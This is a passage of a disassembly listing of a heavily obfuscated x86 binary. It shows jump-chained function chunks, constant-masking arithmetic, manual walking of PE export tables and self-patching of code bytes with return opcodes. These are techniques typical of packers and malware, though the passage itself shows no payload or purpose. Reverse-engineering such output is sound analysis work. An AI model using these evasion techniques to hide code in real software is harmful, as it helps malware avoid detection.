; END OF FUNCTION CHUNK	FOR sub_74AE46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A25C


loc_745084:				; CODE XREF: sub_74A25C+18j
		push	offset sub_74A941
		jmp	loc_74E65C
; END OF FUNCTION CHUNK	FOR sub_74A25C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_190. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_74508F:				; CODE XREF: sub_74FE55:loc_74C086j
		sub	edi, 0B9548586h
		or	edi, 9731BA5Fh


loc_74509B:				; CODE XREF: _0z4jwtox:loc_745DCDj
		add	edi, 213B3B42h
		popf
		xchg	edi, [esp-4+arg_0]
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756826


loc_7450AA:				; CODE XREF: sub_756826-7A09j
		jnp	loc_757529
		xor	eax, 0E71C5D81h
		jmp	loc_7540A9
; END OF FUNCTION CHUNK	FOR sub_756826
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75043C


loc_7450BB:				; CODE XREF: sub_75043C+33A2j
					; sub_75043C:loc_755236j ...
		jz	loc_7514FF
		mov	ebx, [eax+18h]
		mov	ecx, [ebx+3Ch]
		mov	ecx, [ebx+ecx+78h]
		or	ecx, ecx
		jz	loc_748342
		mov	ecx, [ebx+ecx+0Ch]
		jmp	loc_7514EF
; END OF FUNCTION CHUNK	FOR sub_75043C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_7450DC:				; CODE XREF: sub_747736+1D7j
		jno	loc_747B8F


loc_7450E2:				; CODE XREF: sub_7499A5-37F2j
		call	sub_746ED2


loc_7450E7:				; CODE XREF: sub_74B719+A484j
		jmp	loc_753D4D
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7543C5


loc_7450EC:				; CODE XREF: sub_7543C5-4C95j
		jmp	loc_7523ED
; END OF FUNCTION CHUNK	FOR sub_7543C5
; ---------------------------------------------------------------------------


loc_7450F1:				; CODE XREF: _0z4jwtox:007451AAj
		jmp	locret_74E713
; ---------------------------------------------------------------------------


loc_7450F6:				; CODE XREF: _0z4jwtox:00752ABCj
		jbe	loc_749A92

; =============== S U B	R O U T	I N E =======================================



sub_7450FC	proc near		; CODE XREF: _0z4jwtox:00756E93p

; FUNCTION CHUNK AT 00754EBA SIZE 00000011 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		jnz	loc_754EBA
		jmp	loc_752483
sub_7450FC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A4B0


loc_74510B:				; CODE XREF: sub_74A4B0+5CACj
		push	0A3DBFF8Ah
		pop	ecx
		add	ecx, 8C0E5691h
		rol	ecx, 0Bh
		add	ecx, 0ADC38D5Eh
		xchg	ecx, [esp+0]
		jmp	loc_750357
; END OF FUNCTION CHUNK	FOR sub_74A4B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749608


loc_745128:				; CODE XREF: sub_749608-1BD7j
		mov	[ebx], ebp
		mov	ebp, 0FD2742C4h
		adc	esi, 0E01E900Fh
		jmp	loc_74F2FD
; END OF FUNCTION CHUNK	FOR sub_749608

; =============== S U B	R O U T	I N E =======================================



sub_74513A	proc near		; DATA XREF: sub_74AAC1+3C01o
		add	ecx, 0E0C4C5C8h
		xchg	ecx, [esp+0]
		jmp	sub_746E93
sub_74513A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_745148:				; CODE XREF: sub_747C22+3BE7j
		push	eax
		mov	eax, [ebp-14h]
		push	eax
		push	eax
		mov	eax, esi
		xchg	eax, [esp+0Ch+var_C]
		push	9AF28D1h
		jmp	loc_75752E
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746E37


loc_74515D:				; CODE XREF: sub_746E37:loc_74586Cj
		test	ebp, 0FA78AE95h
		jmp	loc_7527D3
; END OF FUNCTION CHUNK	FOR sub_746E37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BDFA


loc_745168:				; CODE XREF: sub_74BDFA:loc_7544ECj
		push	offset sub_74EB61
		jmp	loc_74C494
; END OF FUNCTION CHUNK	FOR sub_74BDFA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBCF


loc_745172:				; CODE XREF: sub_74CBCF:loc_7466FBj
		and	ebx, 0F27EA7AFh
		cmp	ebx, 0D5C9B85h
		jmp	loc_750AA2
; END OF FUNCTION CHUNK	FOR sub_74CBCF

; =============== S U B	R O U T	I N E =======================================



sub_745183	proc near		; CODE XREF: _0z4jwtox:0074740Ej
					; _0z4jwtox:loc_753A5Dp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 007469CA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074F91B SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00754571 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075664B SIZE 00000006 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	edx
		push	ebx
		push	32972ABEh
		pop	ebx
		and	ebx, 3054D712h
		jmp	loc_7469CA
sub_745183	endp

; ---------------------------------------------------------------------------


loc_74519A:				; CODE XREF: _0z4jwtox:0074F03Ej
		test	edx, 280DB2ABh
		jmp	loc_75329D
; ---------------------------------------------------------------------------
		push	offset sub_748357
		jmp	loc_7450F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7473D1


loc_7451AF:				; CODE XREF: _0z4jwtox:0075487Bj
					; sub_7473D1:loc_757454j
		add	ebx, 0E406BEAFh
		mov	[ebx], eax
		call	sub_755E78


loc_7451BC:				; CODE XREF: sub_746C5E+10818j
		jmp	loc_74E2E3
; END OF FUNCTION CHUNK	FOR sub_7473D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7571A1


loc_7451C1:				; CODE XREF: sub_7571A1-11B86j
		jmp	loc_75677A
; END OF FUNCTION CHUNK	FOR sub_7571A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7508F9


loc_7451C6:				; CODE XREF: sub_7508F9-9CA0j
		inc	dword ptr [ebp-0Ch]
; END OF FUNCTION CHUNK	FOR sub_7508F9
; START	OF FUNCTION CHUNK FOR sub_7473D1


loc_7451C9:				; CODE XREF: sub_7473D1:loc_747F08j
		jmp	loc_756D89
; END OF FUNCTION CHUNK	FOR sub_7473D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750243


loc_7451CE:				; CODE XREF: _0z4jwtox:loc_756F90j
					; sub_750243+6D68j
		inc	[ebp+var_8]
		inc	[ebp+var_C]
		jmp	loc_74DD79
; END OF FUNCTION CHUNK	FOR sub_750243

; =============== S U B	R O U T	I N E =======================================



sub_7451D9	proc near		; CODE XREF: sub_748574-8AAj
					; _0z4jwtox:007494D1p ...

; FUNCTION CHUNK AT 00749E1D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074ED97 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074F244 SIZE 00000005 BYTES

		jnb	sub_755B5B
		push	ebp
		mov	ebp, esp
		jmp	loc_74ED97
sub_7451D9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747B31


loc_7451E7:				; CODE XREF: sub_747B31+79BCj
		pop	eax
		rol	edi, 1
		jmp	loc_754CE4
; END OF FUNCTION CHUNK	FOR sub_747B31

; =============== S U B	R O U T	I N E =======================================



sub_7451EF	proc near		; CODE XREF: sub_4169A4+257p
					; sub_4169A4+2B2p ...

; FUNCTION CHUNK AT 00754DDA SIZE 00000005 BYTES

		push	offset loc_756A50
		jmp	loc_754DDA
sub_7451EF	endp

; ---------------------------------------------------------------------------
		rol	eax, 1Ah
		xor	eax, 0DB893C7Eh
		rol	eax, 13h
		sub	eax, 0B4DB56A8h
		jmp	loc_753ECE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BFF8


loc_745210:				; CODE XREF: sub_74BFF8+11j
		pop	eax
		add	eax, 2966D6F1h
		and	eax, 0C23F895Bh
		test	eax, 400h
		jmp	loc_745B6E
; END OF FUNCTION CHUNK	FOR sub_74BFF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746DD8


loc_745228:				; CODE XREF: sub_746DD8+8DEDj
		push	edx
		call	sub_74FACE
		mov	eax, 0B4F3C01h
		call	sub_746E93
		mov	ds:off_41F0C0, eax
		jmp	loc_7534AC
; END OF FUNCTION CHUNK	FOR sub_746DD8

; =============== S U B	R O U T	I N E =======================================



sub_745243	proc near		; DATA XREF: _0z4jwtox:007531E3o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0074CE41 SIZE 00000023 BYTES

		mov	eax, [esp+0]
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp+4+var_4]
		push	eax
		push	0B2FED3D5h
		pop	eax
		jmp	loc_74CE41
sub_745243	endp

; ---------------------------------------------------------------------------
		mov	ds:off_41F0C4, eax
		lea	eax, sub_7528FA
		mov	byte ptr [eax],	0C3h
		jmp	loc_74D754
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749229


loc_74526C:				; CODE XREF: sub_749229j
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	edx
		jmp	loc_757884
; END OF FUNCTION CHUNK	FOR sub_749229

; =============== S U B	R O U T	I N E =======================================



sub_745276	proc near		; DATA XREF: _0z4jwtox:0074A879o

; FUNCTION CHUNK AT 00753B93 SIZE 00000005 BYTES

		add	eax, [ebp-4]
		xor	edx, edx
		call	sub_749C95


loc_745280:				; CODE XREF: sub_752DF2-5D0Ej
		jmp	loc_753B93
sub_745276	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75275A


loc_745285:				; CODE XREF: sub_75275A-BCEDj
		shl	ecx, 0Eh
		ror	edi, 0Ah
		mov	esi, [ebx]
		jmp	loc_74CE30
; END OF FUNCTION CHUNK	FOR sub_75275A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_745292:				; CODE XREF: sub_747C22-2286j
					; sub_747C22:loc_74956Bj
		push	offset sub_74A657
		jmp	loc_7510DF
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------


loc_74529C:				; DATA XREF: sub_745911+9325o
		add	edi, 625B65A7h
		push	offset sub_74F249
		jmp	loc_755557
; ---------------------------------------------------------------------------
		sub	ecx, edx
		jmp	sub_7491FD
; ---------------------------------------------------------------------------


loc_7452B3:				; CODE XREF: _0z4jwtox:0075159Fj
		push	3CECDFE2h
; START	OF FUNCTION CHUNK FOR sub_74CBB7


loc_7452B8:				; CODE XREF: sub_74CBB7:loc_75158Bj
		call	sub_74A07B
; END OF FUNCTION CHUNK	FOR sub_74CBB7
; START	OF FUNCTION CHUNK FOR sub_74F15D


loc_7452BD:				; CODE XREF: sub_74F15D-B5Cj
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_74F15D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BD6F


loc_7452C2:				; CODE XREF: sub_74BD6F-392Fj
		jmp	loc_753C41
; END OF FUNCTION CHUNK	FOR sub_74BD6F
; ---------------------------------------------------------------------------
		xchg	edx, [esi]
		jmp	sub_74C670
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75364C


loc_7452CE:				; CODE XREF: sub_75364C:loc_7467DBj
		xor	eax, edx
		pop	edx
		jmp	loc_747166
; END OF FUNCTION CHUNK	FOR sub_75364C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E762


loc_7452D6:				; CODE XREF: sub_74E762j
		push	30B5313Eh
		pop	eax
		jmp	loc_74D745
; END OF FUNCTION CHUNK	FOR sub_74E762
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CD80


loc_7452E1:				; CODE XREF: sub_74CD80:loc_754F0Dj
		mov	eax, [ebp-0Ch]
		add	[ebp-8], eax
; END OF FUNCTION CHUNK	FOR sub_74CD80
; START	OF FUNCTION CHUNK FOR sub_748C0D


loc_7452E7:				; CODE XREF: sub_748C0D+C49j
		mov	eax, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_748C0D
; ---------------------------------------------------------------------------


loc_7452EE:				; CODE XREF: _0z4jwtox:0074E108j
		jmp	loc_754E97

; =============== S U B	R O U T	I N E =======================================



sub_7452F3	proc near		; CODE XREF: sub_74E03D-586Ep
					; sub_74B719+4p ...

; FUNCTION CHUNK AT 007458DF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00745A98 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00746585 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0074A39E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0074AB64 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074C5AE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0074F43E SIZE 00000019 BYTES
; FUNCTION CHUNK AT 007522A8 SIZE 00000005 BYTES

		jb	sub_74BE8E


loc_7452F9:				; CODE XREF: _0z4jwtox:loc_756059j
		push	ebp
		jmp	loc_74C5AE
sub_7452F3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E762


loc_7452FF:				; CODE XREF: sub_74E762-6E42j
					; sub_74E762:loc_754AE9j
		mov	eax, 10726C00h
		push	eax
		push	offset loc_749CE0
		jmp	nullsub_136
; END OF FUNCTION CHUNK	FOR sub_74E762
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A7D8


loc_74530F:				; CODE XREF: sub_74A7D8+5527j
		jz	loc_7539C0
		jmp	loc_745B1B
; END OF FUNCTION CHUNK	FOR sub_74A7D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7474B9


loc_74531A:				; CODE XREF: sub_7474B9:loc_74F2D3j
		cmp	al, 0A4h
		jz	loc_74F6F3
		jmp	loc_74D995
; END OF FUNCTION CHUNK	FOR sub_7474B9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_216. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746128


loc_745328:				; CODE XREF: sub_746128+12j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_746128
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74673E


loc_74532A:				; CODE XREF: sub_74673E:loc_746756j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0
		jnz	loc_746A43
		jmp	loc_749CBC
; END OF FUNCTION CHUNK	FOR sub_74673E

; =============== S U B	R O U T	I N E =======================================



sub_74533B	proc near		; DATA XREF: sub_74A7D8+5E34o
		xor	eax, 0B4744145h
		mov	edx, [esp+0]
		call	sub_7484F5


loc_745349:				; CODE XREF: sub_756496-217Aj
		jmp	nullsub_81
sub_74533B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D4D3


loc_74534E:				; CODE XREF: sub_74D4D3+Bj
		jmp	loc_74AC29
; END OF FUNCTION CHUNK	FOR sub_74D4D3
; ---------------------------------------------------------------------------


loc_745353:				; CODE XREF: _0z4jwtox:0074A128j
		jmp	sub_750C4E
; ---------------------------------------------------------------------------


loc_745358:				; DATA XREF: sub_74BE8E-51E3o
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		mov	eax, ds:dword_75162C[eax*4]
		mov	[ebp-8], eax
		jmp	loc_752313
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_107. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F688


loc_74536E:				; CODE XREF: sub_74F688-4E20j
		jmp	nullsub_217
; END OF FUNCTION CHUNK	FOR sub_74F688
; ---------------------------------------------------------------------------


loc_745373:				; DATA XREF: sub_74A71A+7C09o
		cmp	dword ptr [ebp-1Ch], 66h
		jnz	loc_75652B
		mov	eax, 6
		push	offset loc_74B1CA
		jmp	locret_745E15
; ---------------------------------------------------------------------------


loc_74538C:				; DATA XREF: sub_749184-23D5o
		add	edi, 0AF2C0A9Ah
		xchg	edi, [esp]
		jmp	sub_74DAAF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75712E


loc_74539A:				; CODE XREF: sub_75712E-6C60j
		mov	[ebx], eax
		pop	ebx
		call	sub_7496A8


loc_7453A2:				; CODE XREF: sub_752A54:loc_74B127j
		jz	loc_7573A4
		jmp	loc_74DBF6
; END OF FUNCTION CHUNK	FOR sub_75712E

; =============== S U B	R O U T	I N E =======================================



sub_7453AD	proc near		; DATA XREF: sub_74D782-6176o

; FUNCTION CHUNK AT 0074ECCC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0074F286 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075025F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 007563BD SIZE 0000000B BYTES

		cmp	byte ptr [eax],	0F1h
		jnz	loc_754A30
		jmp	loc_74F286
sub_7453AD	endp

; ---------------------------------------------------------------------------
		mov	[ebx], ecx
		jmp	sub_74BF3A
; ---------------------------------------------------------------------------
		shr	edi, 16h
		jmp	sub_753DDE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_29. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7474B9


loc_7453CB:				; CODE XREF: sub_7474B9+68F7j
		pop	ebp
		mov	eax, [esp-4+arg_0]
		push	eax
		mov	eax, edx
		xchg	eax, [esp+0]
		push	ebx
		push	0BD5F1BEh
		jmp	loc_7481C5
; END OF FUNCTION CHUNK	FOR sub_7474B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_7453E0:				; CODE XREF: sub_747C22+59C0j
		add	eax, ebp
		add	eax, 6F8B18B9h
		mov	eax, [eax]
		mov	eax, [eax]
		shl	eax, 3
		jmp	loc_74DCD9
; END OF FUNCTION CHUNK	FOR sub_747C22
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_68. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_7453F5:				; CODE XREF: _0z4jwtox:0074C629j
		ja	loc_74F6DD

; =============== S U B	R O U T	I N E =======================================



sub_7453FB	proc near		; CODE XREF: sub_74F78B-1426p

; FUNCTION CHUNK AT 00750D52 SIZE 0000000A BYTES

		xchg	esi, [esp+0]
		pop	esi
		call	sub_746E93
		jmp	loc_750D52
sub_7453FB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A821


loc_745409:				; CODE XREF: sub_74A821+Dj
		jnz	loc_74AED3
		jmp	loc_7500A9
; END OF FUNCTION CHUNK	FOR sub_74A821
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_213. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7504F1


loc_745415:				; CODE XREF: sub_7504F1:loc_751176j
		xchg	edx, [esp+4+var_4]
		jmp	loc_747C00
; END OF FUNCTION CHUNK	FOR sub_7504F1

; =============== S U B	R O U T	I N E =======================================



sub_74541D	proc near		; DATA XREF: _0z4jwtox:0074D320o
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_294
sub_74541D	endp


; =============== S U B	R O U T	I N E =======================================



sub_745425	proc near		; CODE XREF: sub_408701+35p
					; sub_40CC09+391Bp ...
		push	eax
		call	sub_749254


loc_74542B:				; CODE XREF: sub_74698F+FC75j
		jmp	nullsub_21
sub_745425	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749B76


loc_745430:				; CODE XREF: sub_749B76-24D8j
		jmp	loc_75747B
; END OF FUNCTION CHUNK	FOR sub_749B76
; ---------------------------------------------------------------------------


loc_745435:				; CODE XREF: _0z4jwtox:0074B7D5j
		jl	loc_753DB7
; START	OF FUNCTION CHUNK FOR sub_756AA2


loc_74543B:				; CODE XREF: sub_756AA2+Dj
		rol	ebx, 8
		add	ebx, 0A3045EB2h
		xchg	ebx, [esp+4+var_4]
		jmp	loc_74DFEE
; END OF FUNCTION CHUNK	FOR sub_756AA2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_155. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A250


loc_74544D:				; CODE XREF: sub_74A250+8702j
		jmp	loc_754895
; END OF FUNCTION CHUNK	FOR sub_74A250
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748D38


loc_745452:				; CODE XREF: sub_748D38-37C5j
		jmp	loc_754E7F
; END OF FUNCTION CHUNK	FOR sub_748D38
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_212. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752DF2


loc_745458:				; CODE XREF: sub_752DF2+2EABj
		jmp	loc_74D0CE
; END OF FUNCTION CHUNK	FOR sub_752DF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746640


loc_74545D:				; CODE XREF: sub_746640+8687j
		jmp	loc_746D1C
; END OF FUNCTION CHUNK	FOR sub_746640

; =============== S U B	R O U T	I N E =======================================



sub_745462	proc near		; DATA XREF: _0z4jwtox:00749775o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00749C23 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0074E3B1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0074FBB1 SIZE 00000005 BYTES

		push	edx
		push	0A524962h
		pop	edx
		or	edx, 0C27ED84Fh
		jmp	loc_74FBB1
sub_745462	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C39


loc_745474:				; CODE XREF: sub_747C39:loc_74863Cj
		add	edx, ebp
		call	sub_7457DD


loc_74547B:				; CODE XREF: _0z4jwtox:00747151j
		jmp	nullsub_131
; END OF FUNCTION CHUNK	FOR sub_747C39

; =============== S U B	R O U T	I N E =======================================



sub_745480	proc near		; CODE XREF: sub_746389:loc_748AB2p
					; _0z4jwtox:0074AB59j ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0074E0E7 SIZE 00000004 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xchg	ebx, [esp-4+arg_0]
		mov	ebp, ebx
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_74E0E7
sub_745480	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xor	ecx, 0C90AD0D4h
		jmp	sub_745978

; =============== S U B	R O U T	I N E =======================================



sub_74549C	proc near		; CODE XREF: sub_74A99B-3945p
					; sub_74A7D8+7814j

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0074A5E3 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		popf
		xchg	esi, [esp-8+arg_4]
		jmp	loc_74A5E3
sub_74549C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748A22


loc_7454A9:				; CODE XREF: sub_748A22:loc_7533C1j
		jz	loc_74D586
		mov	eax, [ebp-4]
		add	eax, 3Ch
		mov	eax, [eax]
		add	eax, [ebp-4]
		add	eax, 18h
		mov	[ebp-10h], eax
		jmp	loc_74D933
; END OF FUNCTION CHUNK	FOR sub_748A22
; ---------------------------------------------------------------------------


loc_7454C5:				; CODE XREF: _0z4jwtox:0074F0D7j
		sub	al, 99h
		call	sub_74E685
; START	OF FUNCTION CHUNK FOR sub_74946E


loc_7454CC:				; CODE XREF: sub_74946E+D42Dj
		jmp	nullsub_206
; END OF FUNCTION CHUNK	FOR sub_74946E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7499A5


loc_7454D1:				; CODE XREF: sub_7499A5+CA53j
		jmp	loc_7461A7
; END OF FUNCTION CHUNK	FOR sub_7499A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7578F4


loc_7454D6:				; CODE XREF: sub_7578F4-F4A4j
		jmp	nullsub_298
; END OF FUNCTION CHUNK	FOR sub_7578F4
; ---------------------------------------------------------------------------


loc_7454DB:				; CODE XREF: _0z4jwtox:0074649Cj
		add	ecx, 7ABBE0Eh
		jmp	loc_7569D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7504F1


loc_7454E6:				; CODE XREF: sub_7504F1+6j
		xchg	ecx, [esp+8+var_8]
		mov	edx, ecx
		pop	ecx
		and	edx, 2DB577Bh
		add	edx, 0FD997F06h
		jmp	loc_751176
; END OF FUNCTION CHUNK	FOR sub_7504F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F1FE


loc_7454FD:				; CODE XREF: _0z4jwtox:0074A996j
					; sub_74F1FE-308Dj
		call	sub_756B35
; END OF FUNCTION CHUNK	FOR sub_74F1FE
; START	OF FUNCTION CHUNK FOR sub_74B525


loc_745502:				; CODE XREF: sub_74B525+3637j
		jmp	loc_74F0AB
; END OF FUNCTION CHUNK	FOR sub_74B525
; ---------------------------------------------------------------------------


loc_745507:				; CODE XREF: _0z4jwtox:007497F4j
		push	0C8313916h
		pop	ebx
		and	ebx, 0EBCA50BAh
		or	ebx, 81868DD4h
		jmp	loc_74988C
; ---------------------------------------------------------------------------


loc_74551E:				; CODE XREF: _0z4jwtox:0074DED2j
					; _0z4jwtox:loc_7558E1j
		or	ebx, 0A076852Eh
		add	ebx, 4EC322E1h
		mov	[ebx], eax
		pop	ebx
		jmp	loc_745636
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C3EB


loc_745532:				; CODE XREF: sub_74C3EB-22EFj
		test	esi, 278198BAh
		jmp	loc_750BBB
; END OF FUNCTION CHUNK	FOR sub_74C3EB

; =============== S U B	R O U T	I N E =======================================



sub_74553D	proc near		; DATA XREF: sub_752BD1+Ao
		mov	byte ptr [eax],	0C3h
		jmp	sub_74C527
sub_74553D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C527


loc_745545:				; CODE XREF: sub_74C527+1j
		mov	eax, [esp+0]
		push	edx
		push	offset loc_7566A0
		jmp	nullsub_54
; END OF FUNCTION CHUNK	FOR sub_74C527
; ---------------------------------------------------------------------------
		rol	eax, 13h
		add	eax, 7407BC01h
		rol	eax, 1Dh
		xor	eax, 0AEB5E723h
		rol	eax, 1
		sub	eax, 0CF48F716h
; START	OF FUNCTION CHUNK FOR sub_748D38


loc_74556D:				; CODE XREF: sub_748D38:loc_7523B3j
		mov	ds:dword_748C94, eax
		jmp	loc_745452
; END OF FUNCTION CHUNK	FOR sub_748D38
; ---------------------------------------------------------------------------
		jo	loc_752792
		cmp	ebp, 5EE4453Dh
		jmp	loc_746ECC
; ---------------------------------------------------------------------------
		ror	ebp, 0Fh
		jmp	sub_74D1F3
; ---------------------------------------------------------------------------
		jge	loc_74C699
		jmp	sub_74A8E3
; ---------------------------------------------------------------------------


loc_74559C:				; CODE XREF: _0z4jwtox:loc_751375j
					; DATA XREF: _0z4jwtox:loc_74AE31o
		add	eax, 1C2B2A85h
		popf
		mov	[ebp-28h], eax
; START	OF FUNCTION CHUNK FOR sub_7561AB


loc_7455A6:				; CODE XREF: sub_7561AB:loc_752FF9j
		mov	eax, [ebp-24h]
		cmp	byte ptr [eax],	0
		jnz	loc_74A512
		jmp	loc_74D269
; END OF FUNCTION CHUNK	FOR sub_7561AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D4D3


loc_7455B7:				; CODE XREF: sub_74D4D3:loc_748D7Aj
		add	eax, 2718AD7Fh
		push	ebx
		push	3C4FA8FFh
		call	sub_75609F


loc_7455C8:				; CODE XREF: sub_7508F9-8205j
		jmp	loc_75638D
; END OF FUNCTION CHUNK	FOR sub_74D4D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_7455CD:				; CODE XREF: sub_752D11-2047j
					; sub_757799:loc_75449Dj
		mov	eax, [ebp-18h]
		add	eax, 0E9BD7BF0h
		add	eax, 16428434h
		mov	eax, [eax]
		add	eax, [ebp-4]
		jmp	loc_74CE96
; END OF FUNCTION CHUNK	FOR sub_752D11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E693


loc_7455E6:				; CODE XREF: _0z4jwtox:loc_74DAC0j
					; sub_74E693+15FDj
		sub	edi, 7951A12Eh
		cmp	edi, 10F05D9Fh
		jmp	loc_750BD5
; END OF FUNCTION CHUNK	FOR sub_74E693
; ---------------------------------------------------------------------------


loc_7455F7:				; CODE XREF: _0z4jwtox:0074BC05j
		jb	loc_7521CF
		adc	ebx, 0C1C973C8h
		jmp	sub_74BA42
; ---------------------------------------------------------------------------

locret_745608:				; CODE XREF: _0z4jwtox:loc_755557j
		retn
; ---------------------------------------------------------------------------


loc_745609:				; CODE XREF: _0z4jwtox:0074C026j
		jge	loc_756510
; START	OF FUNCTION CHUNK FOR sub_7571A1


